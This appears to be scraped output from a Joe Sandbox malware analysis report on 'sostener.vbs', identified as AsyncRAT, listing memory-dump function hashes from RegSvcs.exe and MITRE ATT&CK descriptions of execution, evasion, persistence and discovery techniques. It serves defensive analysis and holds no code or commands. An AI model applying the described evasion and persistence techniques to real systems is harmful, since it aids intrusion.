Instruction ID: 627b1671aa12b103b39d0158d65c36cd754e2acc511c8e97aa1197b789d3479a
Opcode Fuzzy Hash: 44240894681da39be8c8a927f49630917693e43a5664e4432e287198d85451b1
Instruction Fuzzy Hash: BF318F71A002048FDB24DF69D554AAEBBF2FF88310F14856AE401AB3A1CB75DD45CB90

Function 015D1477 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

lqbq, xrefs: 015D14CE

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID: lqbq
API String ID: 0-1968102735
Opcode ID: 96025cfd0f533bd097410d5ffe7bd79caccdad837b82ba1fac22e2bd5f383920
Instruction ID: 67408e42a03c6b704279b3fd04a9d86bf3803743f2de508a69f2221fe0b7b321
Opcode Fuzzy Hash: 96025cfd0f533bd097410d5ffe7bd79caccdad837b82ba1fac22e2bd5f383920
Instruction Fuzzy Hash: 1E218C70A00206CFDB25DF78D544AAE3BF6BF89305F640868D40AEB395DB399D42CB95

Function 015D1488 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

lqbq, xrefs: 015D14CE

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID: lqbq
API String ID: 0-1968102735
Opcode ID: c53a67b37484e78a35a773b421cc51697a3be701236ad6d00c64059ad72ebc2c
Instruction ID: bde56cfb81d04a32968fc70e1ec8211a9826fdba6073b0cfb9e71d36dc76521e
Opcode Fuzzy Hash: c53a67b37484e78a35a773b421cc51697a3be701236ad6d00c64059ad72ebc2c
Instruction Fuzzy Hash: CB11AC3060020A8FD724EB79D554A6E3AE7BF88201F600868D006EB394DF399D41CB95

Function 015D0EB7 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

Haq, xrefs: 015D0EB8

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: c96f2cdb86444e78aaadfb160f7d710a6b677ce7966bed9f17d705359aa000c4
Instruction ID: 895c3a8c5da567e7829ac11d39b79a32201382b55877c21847a8c6f111b29f3c
Opcode Fuzzy Hash: c96f2cdb86444e78aaadfb160f7d710a6b677ce7966bed9f17d705359aa000c4
Instruction Fuzzy Hash: B10181307442518FC3499F3994545AE7BE6EFD622031645EAD149CB3A6DE288C078791

Function 015D0B10 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e34d7445f674193158712570b4e8bfb838f002148df03f23d28bee46e1fdab6
Instruction ID: d69eda997b8cdb5a059c3c45024a94e0cd4b96dcf2522d0f063037574c1d7495
Opcode Fuzzy Hash: 0e34d7445f674193158712570b4e8bfb838f002148df03f23d28bee46e1fdab6
Instruction Fuzzy Hash: 5C51E270200209DFC72AEF25F5449593B7AFB843173518668D8168B238DB3DADCADF88

Function 015D09D0 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf13d70ff0a9d2025c0c118d5d6750b6416463e0ccf6ef8aefd090be7c39153f
Instruction ID: 16da764b11933d4d65c4c31a93213681ab22310508b5c4ef44007006caa1613f
Opcode Fuzzy Hash: bf13d70ff0a9d2025c0c118d5d6750b6416463e0ccf6ef8aefd090be7c39153f
Instruction Fuzzy Hash: 2D312F307102129FDB749F7D981827E3AA5BF50246F445639F907CA1D5EAB48981CB52

Function 015D09E0 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 075b9ff99c14e3f286b865e2d6ad9e47a081343b2ef475550d1f29aff8764bf0
Instruction ID: 9a8f47a4be27d7772e8c071916543720117f133f3b2516b1cccf67369bd1bc93
Opcode Fuzzy Hash: 075b9ff99c14e3f286b865e2d6ad9e47a081343b2ef475550d1f29aff8764bf0
Instruction Fuzzy Hash: 013110307101169FDB74AF7EA41867E3AA5BF04246F444628F907CE1D5EAB48981CB67

Function 015D10A8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22b00003791975f977de77357b275853ec8a55181f4ac2b279576b4ea369caa3
Instruction ID: ba247ec81f0c4178ab5f31fcaf0fc53191cfa59bd449e4d248a67db9e8936723
Opcode Fuzzy Hash: 22b00003791975f977de77357b275853ec8a55181f4ac2b279576b4ea369caa3
Instruction Fuzzy Hash: DA213734B405059FD724DFA9C998BAD7BE2BF88B20F248559E902AB3A4CA709C01CB40

Function 0141D3B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2340517725.000000000141D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0141D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_141d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc084198304e57b7e7386b6519eb14065b5c08bee5e6a97d86bdae3bda02a569
Instruction ID: 66273b041f3aa4518bd64c016d01aaeea9fe9615a6aa8bbf961154b0360eda9d
Opcode Fuzzy Hash: dc084198304e57b7e7386b6519eb14065b5c08bee5e6a97d86bdae3bda02a569
Instruction Fuzzy Hash: 6521F4B1940204DFDB05DF98D9C4B57BF65FB88314F20C57AE9090A26AC336E456C6A1

Function 0141D3AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2340517725.000000000141D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0141D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_141d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 3e0ec7b17e9c39c66c3648ec50437be8d65236ac326ccf4fb92f08bfb44cffd2
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 0D11E4B6844240CFCB06CF54D5C4B56BF71FB84314F24C5AAD9490B66BC336E456CBA1

Function 015D0EF8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2382399863.00000000015D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_15d0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f939c2cc1ac2699670a0232fa37769e3783ac68ccbc278b034c8734147c03b20
Instruction ID: c39fbbb376e435a392affeeab89d1ce0e00a08dd197571e04e026f71b88cd539
Opcode Fuzzy Hash: f939c2cc1ac2699670a0232fa37769e3783ac68ccbc278b034c8734147c03b20
Instruction Fuzzy Hash: F9E0C2313001005F83549B3EB88485BB7EFEFC812535544B9F10DC7361CD64DC024390

Analysis Process: RegSvcs.exePID: 7484, Parent PID: 7728COMMON

Executed Functions

Function 011F0F30 Relevance: 2.7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

(aq, xrefs: 011F120A
Te]q, xrefs: 011F0F65

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID: (aq$Te]q
API String ID: 0-2961548996
Opcode ID: bbc3a5c5f8cbda0accb71e5c25a3b600ad65b454e02bbf2630b3e1041b1ef8f6
Instruction ID: 7b85ff0bb9ddfb3ec1e59274cf03301b518ad142b9b215fc8036db3e0df04044
Opcode Fuzzy Hash: bbc3a5c5f8cbda0accb71e5c25a3b600ad65b454e02bbf2630b3e1041b1ef8f6
Instruction Fuzzy Hash: 9251BD34B101149FD708DF69C458AAEBBF2FF88700F2581A9E906DB3A6CB34DC018B81

Function 011F0D98 Relevance: 2.6, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

Haq, xrefs: 011F0EB8
dLcq, xrefs: 011F0DD3

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID: Haq$dLcq
API String ID: 0-1713614415
Opcode ID: d0d295fcd9fab2c8bdef7bbe7b46dc1b4fe71f12660ffef0bf404144457274b1
Instruction ID: afff89029215a7b82d4f84f93b487b54a02e2389a014c7c16d4eee20134c5a30
Opcode Fuzzy Hash: d0d295fcd9fab2c8bdef7bbe7b46dc1b4fe71f12660ffef0bf404144457274b1
Instruction Fuzzy Hash: EB418B317042148FDB19DF69D494A9EBBF6BF8D300F1485AAE106EB3A6CB749C05CB91

Function 011F1248 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

LR]q, xrefs: 011F13C0

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: f4f20b00a0a25893c1268c93f2f644e092f32bb2a643c4b8c112327dec71a63a
Instruction ID: 73b37d77121dcd0e45dfb55e85595a58b0c75dae467fc8afefdf2b753deb3361
Opcode Fuzzy Hash: f4f20b00a0a25893c1268c93f2f644e092f32bb2a643c4b8c112327dec71a63a
Instruction Fuzzy Hash: 6551BE70B00209AFCB08DFB9C5546AEBBF6EF88310F24846DD54ADB395DA34DC428B91

Function 011F0969 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

4']q, xrefs: 011F0986

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 2dac43a2fdf71d37fe7ca94d587153fdec5eac96f84d32c5cac9d803754e5fc0
Instruction ID: a7a773febda12370ddcaaf922a2d0f72215b46115db861279f1eac208bf640df
Opcode Fuzzy Hash: 2dac43a2fdf71d37fe7ca94d587153fdec5eac96f84d32c5cac9d803754e5fc0
Instruction Fuzzy Hash: 6041E330700286AFDB6EAF78D8943AD3FB3BF08204B14557CE556D7196EB308989CB52

Function 011F0D8E Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

dLcq, xrefs: 011F0DD3

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID: dLcq
API String ID: 0-2236789282
Opcode ID: f62bca72bf3f94504f893d6ec65ede88131da4f0ba1231e35e46ee46240297a6
Instruction ID: da7b721c67f5978eb4ec5d2b318d7671624aab90268f85d07a3593e9179d6873
Opcode Fuzzy Hash: f62bca72bf3f94504f893d6ec65ede88131da4f0ba1231e35e46ee46240297a6
Instruction Fuzzy Hash: DF318D71A002158FDB19DF69C598BADBBF2BF8C300F1485A9E501AB3A2CB759C45CB91

Function 011F1477 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

lqbq, xrefs: 011F14CE

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID: lqbq
API String ID: 0-1968102735
Opcode ID: 255b66e3ff1e464caee041647d8febde18334e5c8c96c44cad4b8c4282c28e85
Instruction ID: 7f733e4f47c97dd9857720a39b83952ce375e9edb59f41daaeb534753d8c3bcc
Opcode Fuzzy Hash: 255b66e3ff1e464caee041647d8febde18334e5c8c96c44cad4b8c4282c28e85
Instruction Fuzzy Hash: CE21CD30601206DFCB1AEF78C51876E7BF6AF89204F2408ACD106EB399DB369D41CB91

Function 011F1488 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

lqbq, xrefs: 011F14CE

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID: lqbq
API String ID: 0-1968102735
Opcode ID: b175df485ae63bece6458197d4094067a30ce088a5aec02f7d21a9a56b89a5d7
Instruction ID: 68f28721549a33af66016e6933b2b3472b4d3fa0a97f01825f38765ffede9a0d
Opcode Fuzzy Hash: b175df485ae63bece6458197d4094067a30ce088a5aec02f7d21a9a56b89a5d7
Instruction Fuzzy Hash: 1B117C30601206DFC719EF78D51876E76E6AF89244F60486CD106EB3A8DF369D41CB95

Function 011F0EB7 Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

Haq, xrefs: 011F0EB8

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: f7afc905be3bb6a611e733128beed561764a48d5d2e1a7fce2f18f862a8ea98c
Instruction ID: 5af57b668b6647d26da8fe6ce197ac79e800023f8deebf7275c78f09a63feb9e
Opcode Fuzzy Hash: f7afc905be3bb6a611e733128beed561764a48d5d2e1a7fce2f18f862a8ea98c
Instruction Fuzzy Hash: EB01A4303082504FC34A9B3D985055E3FA7EFCB25431949EAD149CB3A6CE288C06C396

Function 011F0B10 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb2f335db7d6b59b7ffd705c80ef9ef9f4558b5758758a0a7de692f11fba906a
Instruction ID: 0222cb50a5151390dd39e1c631d036e69be3c880ecc48426592d53b34dfbc9d2
Opcode Fuzzy Hash: cb2f335db7d6b59b7ffd705c80ef9ef9f4558b5758758a0a7de692f11fba906a
Instruction Fuzzy Hash: FE510638100341AFC71BFF24F444B593B36EB84385390A568D405EB26CEB39ACDADB84

Function 011F09E0 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eae3ecbcd6857a777ce8a355fdc96a5ad93621b368e4d688f1a9c73ae124f1d3
Instruction ID: 2483795764db4bc939f6fdb6cd5bc8bdb0a477fe5a62ddd34d39e4afdcc8d8a1
Opcode Fuzzy Hash: eae3ecbcd6857a777ce8a355fdc96a5ad93621b368e4d688f1a9c73ae124f1d3
Instruction Fuzzy Hash: 1F314130710242AFDBBDAF79A95837E3AA7AF08245744553CF617C2146EF208999CB62

Function 0100D3B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2779746727.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_100d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f1a44b139aaf8ff2829fef9e506dcc786262f537215776365359ba5793dab5
Instruction ID: 84a067161c422d074e121b2761e593b5cb1aee399bfac94290743bfce98fa2fe
Opcode Fuzzy Hash: 90f1a44b139aaf8ff2829fef9e506dcc786262f537215776365359ba5793dab5
Instruction Fuzzy Hash: 67210671504200DFEB06DF98D9C0F5ABFA5FB84314F20C5A9E9490B296C736E456C7B2

Function 0100D3AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2779746727.000000000100D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0100D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_100d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 54c8bcfa4a4b2619fa086937fb267c2582c4a12edcd3b3c2ac24b92d6f201283
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: AE11E172404280CFDB02CF94D5C4B56BFB1FB84314F24C6A9D9490B657C336E45ACBA2

Function 011F0EF8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2787602616.00000000011F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_11f0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02a4baefbd89623cab65ef79cf9c627460e823b3b9b3bdd8417aa050a850bd2
Instruction ID: 2d24e12871fd56563ffe01afcef381858587cbe34c9d344508432e97e0186cbf
Opcode Fuzzy Hash: b02a4baefbd89623cab65ef79cf9c627460e823b3b9b3bdd8417aa050a850bd2
Instruction Fuzzy Hash: B6E0C2313002005F83589B3EB88485BB7EFEFC812531544B9F10DC7355CD64DC028390

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report sostener.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

DDoS

System Summary

Data Obfuscation

